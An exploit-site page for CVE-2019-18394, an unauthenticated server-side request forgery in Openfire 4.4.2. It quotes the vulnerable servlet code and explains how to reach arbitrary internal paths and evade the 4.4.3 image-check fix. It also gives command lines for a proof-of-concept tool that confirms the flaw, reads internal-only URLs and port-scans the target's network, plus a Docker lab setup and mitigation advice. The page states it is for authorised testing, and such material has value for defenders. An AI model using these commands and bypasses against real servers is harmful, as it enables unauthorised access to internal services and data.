Skip to content
Exploit for Server

Exploit for Server

Sploitus • September 9, 2026

Unauthenticated Server-Side Request Forgery in Ignite Realtime Openfire 4.4.2 and earlier

(admin console, default TCP 9090/9091). Fixed in 4.4.3 (issue OF-1885).

- **Request forgery:** the `host` parameter is concatenated into an outbound URL with no

validation, so the server issues an attacker-chosen HTTP GET.

- **Response disclosure:** on HTTP 200 the raw upstream body is written back to the caller.

This is a full-read SSRF, not a blind one.

- **No auth:** `/getFavicon` is not behind the admin-console `AuthCheckFilter` and responds

even while the server is still in its unconfigured setup state.

Authorised testing only. Everything here targets a local lab you stand up yourself.

`org.jivesoftware.util.FaviconServlet` (Openfire 4.4.2):

public void doGet(HttpServletRequest request, HttpServletResponse response) {

String host = request.getParameter("host"); // attacker-controlled

host = "gmail.com".equals(host) ? "google.com" : host;

byte[] bytes = getImage(host, defaultBytes);

if (bytes != null) { writeBytesToStream(bytes, response); } // body returned to caller

private byte[] getImage(String host, byte[] defaultImage) {

byte[] bytes = getImage(" + host + "/favicon.ico"); // unvalidated concatenation

try (CloseableHttpResponse response = client.execute(getRequest)) {

if (response.getStatusLine().getStatusCode() == HttpStatus.SC_OK) {

return EntityUtils.toByteArray(response.getEntity()); // full body, not just an image

**Unauthenticated.** In `xmppserver/src/main/webapp/WEB-INF/web.xml` the `AuthCheck` filter is

mapped only to `*.jsp`, `PluginServlet`, and `dwr-invoker`. `FaviconServlet` is mapped to the

plain path `/getFavicon`, so no auth filter runs for it.

**Arbitrary path, not just arbitrary host.** The code hard-codes the `/favicon.ico` suffix.

Ending `host` with a query string pushes that suffix into a parameter value:

host = of_internal/secret?x= produces

**Scheme is fixed to ` ` targets are not directly reachable, but the

servlet's client uses `LaxRedirectStrategy`, so an `http` endpoint that 302-redirects onward is.

final byte[] result = EntityUtils.toByteArray(response.getEntity());

if (!GraphicsUtils.isImage(result)) { // OF-1885

return null; // withhold non-image bodies

`GraphicsUtils.isImage()` is `ImageIO.read(bytes) != null`, a content check, not a destination

- The forged outbound request is still sent, so blind SSRF (port scan, internal service

interaction, redirect pivots) still works on 4.4.3.

- Any response that parses as an image is still returned in full, and arbitrary bytes can trail

the image data, so image-shaped full-read disclosure still works on 4.4.3.

- Every outcome is HTTP 200, so success and failure differ only in the body. The tool captures

a failure signature by forcing two guaranteed-miss (NXDOMAIN) requests and comparing them.

The on-disk `/images/server_16x16.gif` is not used as the baseline: a server that failed to

load it at init returns an empty failure body instead, and mismatching the two gives wrong

- Presence is confirmed structurally: a miss answers `200` while an unmapped sibling path

answers `404`, which separates a real `FaviconServlet` mapping from a catch-all.

- `FaviconServlet` caches hits and misses keyed on the raw `host` and short-circuits after two

misses. The tool adds a unique `cb=` cache-buster to every probe so repeat runs are not served

Python 3 standard library, no dependencies.

check confirm the bug: unauth endpoint + out-of-band callback + response disclosure

read fetch an arbitrary http:// URL through the target (full-read SSRF)

scan probe internal TCP ports from the target's network position

# confirm. --callback-host is the address the TARGET calls back to (IP or FQDN).

python3 cve_2019_18394_poc.py check -t 10.0.0.5:9090 --callback-host 192.168.1.20 --json out.json

# read an internal-only resource the tester cannot reach directly

python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d

python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d

python3 cve_2019_18394_poc.py scan -t 10.0.0.5:9090 --host 127.0.0.1 --ports 80,443,8080-8090

Flags: `--callback-host` (address the target calls back to), `--listen-bind` / `--listen-port`

(local listener), `--marker-format gif` (return image-parseable content that passes the 4.4.3

Exit codes: `0` ok, `1` finding, `2` error or not vulnerable, `3` inconclusive.

Differential Docker setup: vulnerable 4.4.2 (console on `:9090`), patched 4.4.3 (on `:9092`),

and an internal-only service the host cannot reach directly.

'SECRET_FLAG=CVE-2019-18394_ssrf_reached_internal_service_ok' > /tmp/internal-index.html

# internal nginx: no host port mapping, so unreachable from the host, reachable from Openfire

docker run -d --name of_internal --network cve18394_internal \

-v /tmp/internal-index.html:/usr/ /nginx/html/index.html:ro nginx:alpine

docker run -d --name of442 --network cve18394_internal -p 9090:9090 -p 9091:9091 \

gizmotronic/openfire:4.4.2 && docker network connect bridge of442 # VULNERABLE

docker run -d --name of443 --network cve18394_internal -p 9092:9090 \

gizmotronic/openfire:4.4.3 && docker network connect bridge of443 # PATCHED

The internal nginx has no host port mapping, so a direct fetch from the host returns HTTP 000,

but Openfire can reach it. Reading its `SECRET_FLAG` proves the request crossed the trust

boundary. On Docker Desktop the target reaches your listener via `host.docker.internal` (pass it

to `--callback-host`). On native Linux Docker, use the `docker0` gateway IP or omit

# once both consoles answer on :9090 and :9092

python3 cve_2019_18394_poc.py check -t 127.0.0.1:9090 --callback-host host.docker.internal

python3 cve_2019_18394_poc.py check -t 127.0.0.1:9092 --callback-host host.docker.internal

python3 cve_2019_18394_poc.py read -t 127.0.0.1:9090 -d

Each callback arrived with `User-Agent: Apache-HttpClient/... (Java/...)`, confirming the request

came from Openfire's own HTTP client, not the tool.

| Target | Marker | Callback | Body disclosed | Verdict | Exit |

| 4.4.2 (vuln) | text | yes | yes, verbatim | `VULNERABLE` (unpatched) | 1 |

| 4.4.3 (patched) | text | yes | no, withheld by `isImage()` | `PARTIALLY_MITIGATED` (blind SSRF) | 1 |

| 4.4.3 (patched) | gif | yes | yes, image + trailing text | `VULNERABLE` full-read (see note) | 1 |

| non-Openfire (nginx) | n/a | n/a | n/a | endpoint absent | 2 |

Note: the gif result confirms full-read SSRF but does not distinguish 4.4.2 from 4.4.3, since

image-shaped disclosure works on both. Use the default text marker to tell pre-fix from post-fix.

`read`: 4.4.2 disclosed the internal `SECRET_FLAG`; 4.4.3 withheld the HTML page but still

returned an internal `.gif` fetched via the path trick.

docker rm -f of442 of443 of_internal && docker network rm cve18394_internal # tear down

Upgrade to Openfire 4.4.3 or later. The `isImage()` fix does not stop the outbound request or

image-shaped disclosure, so where the favicon-proxy feature is unnecessary, also restrict egress

from the Openfire host and place the admin console (9090/9091) behind network controls.

cve_2019_18394_poc.py the PoC (check / read / scan), Python 3 stdlib, no dependencies

`check` writes a JSON evidence record when given `--json `.

Extracted Entities

IP Addresses (2)